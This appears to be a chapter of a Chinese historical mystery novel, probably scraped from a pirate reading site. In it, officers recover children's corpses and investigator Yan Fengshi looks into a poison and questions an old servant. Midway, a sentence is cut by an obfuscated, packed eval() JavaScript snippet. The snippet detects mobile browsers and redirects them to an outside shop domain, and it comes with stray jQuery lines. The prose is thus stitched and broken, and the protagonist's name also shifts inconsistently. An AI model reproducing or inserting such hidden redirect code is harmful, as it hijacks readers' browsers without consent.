金陵城西原是一片水泽,当年元帝南下定都,为加固城墙,曾在这一带砌石掘泥。数十年过去,原先水草丰茂的水泽地逐渐干涸,变成一片片涂滩,加之地形崎岖,住人不便,这里渐渐绝了人迹,成了金陵有名的乱坟岗。
时节已过夏至,满山郁翠,而乱坟岗一带杂石散布,茅草疯长,露出大片白花花的穂须,风一吹,发出“哗啦啦”的声响。
余大抹了一脖子汗,他眼前十多个隆起的土包,土色深浅不一,有的还从里面露出一截残旧布角,隐约可见白肉,他啐了口,骂道:“真他娘造孽,连一口棺材也没有,就这样刨个坑埋……”
有人高声叫:“找到了!”
余大扒开茅草,徐二对他撇头,一旁土坑里齐条条躺着四具死尸,都是孩童,面容尚好,显然刚入土不久。
余大俯身看了看,片刻后道:“就是他们,带回去。”
众人用力,很快就将尸体移到木板车上。余大走在前面,他一旁站着个矮个子役人,忽然拉了他的衣袖,压低嗓子道:“老大,你有没有觉得,有人在看咋们……”
余大本想喝他一句,但他扭头,余光瞥见茅草丛里,有什么东西一晃而逝。他愣了愣,再定睛看去时,那里只有穂须晃荡。
“老大,你看见了吗,刚刚那个是……”矮个役人声音都在发颤。
余大皱皱眉头。他牛眼一瞪,高声道:“怕甚么,不过一只野猫罢了。”
几人拉着车板,快步走出茅草丛。
凉风掠过,方才白花花的茅草丛里,露出一双乌黑的眼睛。
---
大理寺署。
闫风识从闫宅返回后,便一直在案前看书,书是他上午自太医署借来的巫医手札。这本书据传,是当初定国圣母皇后奉旨入京时,一同带来之物。书里不光介绍了巫山当地特色草药方剂,还有一些毒物的记载,而关于三月春的记录正源于此。
里面写道:“三月春,无色,无味,乃血枫之果蜜炼而成,其物阴寒,病弱者服之即死,外症不显。巫女无碍,少数人或发疹,可供启神智祭山神之用。”
书里的记录的确和医官所说一样,但这个血枫是何物,他翻遍书札也没找到。他自一旁拿出纸笔,将这些文字原样誊写,写好后收了桌案。
外面晚霞满天,明日注定是个晴日。闫风识自太医署还完书,迎头便撞上从外头回来的窦准。
窦准讶然一声,手中文书落地,他眯眼见是闫风识,又笑道:“闫少卿,又碰面了。”
闫风识自地上拾起册子,递给窦准:“窦太医才回?”
窦准拿出帕子,抹了抹脸,短叹一声:“陛下昨夜通宵读书,头疾犯了……也是老夫医术不精。”
闫风识凝眸。当今天子勤勉,本是社稷之福,但这头疾之症,也着实令人担心。
“这个月,好像有多次了……”
窦准拿起文书,眯眼数了一遍,老脸微白:“照记录,已经第五次。”旁边药童小声提醒:“太医,你看错了,是四次,第四行记录的是郡主。”
窦准又眯眼,这才恍然:“不错,是宣城郡主,不过怎没填出诊太医?”
药童耸肩:“听说是郡主吩咐的,只让叫个医女,说是因热出了红疹,不是什么大病,不让登记,这条还是后头才录上的……”
窦准一拍腿:“不合规矩,这郡主胡闹——”
药童拉了拉衣袖,窦准望闫风识,满脸尴尬。闫风识只作不知,淡然拱手离去。
回到大理寺署,怀墨也刚好回来,满头大汗淋漓。
闫风识瞥他一眼,道:“怎回来这么晚,东西借到了吗?”
怀墨扯出角落里的小杌子,一屁股坐下,又拿起旁角的小茶壶,咕噜下肚了几杯,喘匀了声音道:“郎君,东西借到了,但不是陆小郎君给的,是他房里的阿来找了给我的。”
怀墨将药瓶掏出来,递给闫风识。
闫风识问:“陆霁不在?”
怀墨先点点头,后又一个劲摇头。
林风识放下药瓶:“到底在不在?”
怀墨这才大吐苦水:“我去时,陆小郎君原本在府内,只是精神瞧着有些恍惚,我对他说话,也好似没听到,没等我说完,他便出了府,只说让等上片刻,他去去就回,我在府内候了两个时辰,仍未见他回来,又怕郎君你等急,于是一坊一坊的找。晌午那么大的太阳,我足足跑了四五里,嗓子都快冒青烟了,才终于打听到陆小郎君的踪迹。”
“平时这小陆郎君虽瞧着有些不着调,但好歹并无出格之举,没想到——”怀墨想起当时情景,不由啧啧出声,“太阳都没落土,他就火急火燎到妓阁找伶女,您瞧瞧……后来,我怕郎君您等着急,就回了陆府,好在他府里人管事,才找到药给我……”
怀墨正说得口沫横飞,抬眼却见闫风识往外走,他一下跳起来,追上去道:“郎,郎君,你先别气恼,陆小郎君指不定是一时新鲜,并非什么大事,再说十男九色,真要上妓阁拿人,是会让人笑话的……”
闫风识停步,面色古怪:“你都是从哪……”顿了顿又道,“谁说我要去妓阁拿他?”
“不是?”怀墨上下瞧了郎君几眼:“难道……您也想去看伶女?”
林风识:……
出了署寺,天色渐晚,青橘霞光落到屋头,像一团推不开的墨。围墙里飘出饭香,怀墨咽了咽口沫,见郎君步子不急,像是往丹安坊去。怀墨这时才慢慢品味过来,一面暗恼之前无脑浑话,一面又暗自不解,于是跟在身后亦步亦趋,小心问道:“郎君,您早些时候说要给马婆婆膏药,我以为您只是顺口一说。那马婆婆不过姑夫人身边的奴仆,何至于您花这等心思?”
近旁无患子树上老雀回巢,落下几片树叶。闫风识扭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077711|137944||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头,眸光淡然:“她自祖父在时便在府里伺候,是府中老人,理应尊重。”
话虽如此,怀墨却感觉哪里不对。这般思量间,已到了丹安坊。天彻底暗下来,怀墨有心跟去,但对清苑仍有些忌怕,好在闫风识挥手,让他去看上午打晕过去的女婢醒来没有,才免了一番纠结。
闫风识到清苑时,马婆婆正歇在西偏房捶腿。听到叩门声,她慢慢起身,边走边道:“是谁?”
门外传来一道低语,隔着门声音嗡嗡的,听不太清,马婆婆扶着腰打开门,眯着眼往外看,屋外还没挂灯,天色昏暗,只瞧见一道颀长身影。
马婆婆唬了一跳,没反应过来就脱口而出:“你怎找到这来了?不是告诉你不要再来?”
面前的人似乎有些微诧,他上前一步。烛光从门内泻出昏黄,他的眉眼浸着光,带着不甚柔和的朦胧:“马婆婆你认错人了。”
马婆婆再次眯起眼,这下真的看清了,不禁惶恐:“大郎恕罪,老奴老眼昏花没看清,没认出是您……”
她的脸色微微发白,垂下头,借夜色遮掩眼底的慌乱。
闫风识眸眼深沉,道了一声无妨,从怀中掏出瓷瓶,声音温亮:“这是内庭配制的活血祛瘀药膏,一天三次涂于患处。”
马婆婆颤手接过,她原以为郎君是随口一句,没想到晚间居然亲自送来。她心中感激,先前的慌乱微微淡去,话也多了些:“婆子谢过了,只金陵湿气重,这身体恐怕也难全好,不过少挨受一些,难为大郎费心。”
闫风识点头:“金陵湿潮,若你们还在鲁郡,想必也不会遭罪了,说起来,姑母曾常住鲁郡,我竟一次也没拜访过。这个时候,鲁郡风物正盛,怕是极好的时节罢?”
提到鲁郡,马婆婆的表情有些松动,微微叹了口气:“鲁郡在婆子眼中当然哪般都好,当年我和夫人住在庄上时,屋后一大片石榴树,这个时节花开得正艳,漫山遍野的红,等到了秋天,石榴成熟,一个个又大又圆,夫人和女郎都爱吃,特别是女郎,一次吃上五六个不在话下。”
闫风识听得认真:“鲁郡石榴味甜多汁,但表妹脾胃虚弱,何以能吃五六个之多?”
马婆婆眼眸闪烁:“过去那么久了,婆子可能记错了,只晓得女郎爱吃,也没记个定数。”
闫风识“哦”了一声,颇有些怅然:“犹记得儿时,姑母来信,常提到表妹,记忆中很是调皮,没想到之后身体却……”
马婆婆似乎不愿再提往事,缩着头不语,恰这时,有奴仆从屋外来,对闫风识说了几句,闫风识点头,再次叮嘱马婆婆记得用药,而后跟着奴仆匆匆离去。
还没到正院,远远就看到有毛头小侍站在月洞门旁,拉长了脖子朝门外打量,等瞧见闫风识的身影,狗腿一般跑上前来:“郎君,那女婢醒来了,她说有紧要事须亲口对您说。”末了,又神秘兮兮道,“是关于表女郎的。”